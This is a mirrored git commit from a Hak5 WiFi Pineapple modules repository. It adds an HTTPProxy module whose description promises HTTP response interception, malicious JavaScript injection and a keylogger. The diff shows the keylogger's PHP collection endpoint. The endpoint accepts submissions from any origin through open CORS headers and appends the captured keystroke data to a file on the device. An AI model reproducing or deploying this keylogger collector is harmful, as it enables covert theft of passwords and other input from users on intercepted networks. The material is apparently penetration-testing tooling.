mirror of
https://github.com/hak5/nano-tetra-modules.git
synced 2025-10-29 16:58:09 +00:00
HTTPProxy Module (#1)
HTTPProxy will allow you to intercept the HTTP response and injection a malicious HTML/JavaScript code, also it has a keylogger written in JavaScript which allows the attacker to log the user inputs
This commit is contained in:
committed by
Sebastian Kinne
parent
d0aa1e38ef
commit
d613645576
15
HTTPProxy/assets/keylogger/keylogger.php
Normal file
15
HTTPProxy/assets/keylogger/keylogger.php
Normal file
@@ -0,0 +1,15 @@
|
||||
<?php
|
||||
header('Access-Control-Allow-Methods: GET, REQUEST, OPTIONS');
|
||||
header('Access-Control-Allow-Credentials: true');
|
||||
header('Access-Control-Allow-Origin: *');
|
||||
header('Access-Control-Allow-Headers: Content-Type, *');
|
||||
$file = '/pineapple/modules/HTTPProxy/assets/keylogger/dataKeyLogger.txt';
|
||||
if(isset($_REQUEST['c']) && !empty($_REQUEST['c']))
|
||||
{
|
||||
file_put_contents($file, $_REQUEST['c'], FILE_APPEND);
|
||||
|
||||
// $key= fopen($file , "w") ;
|
||||
// $out=fwrite($key, $_REQUEST['c']);
|
||||
// fclose($key);
|
||||
}
|
||||
?>
|
||||
Reference in New Issue
Block a user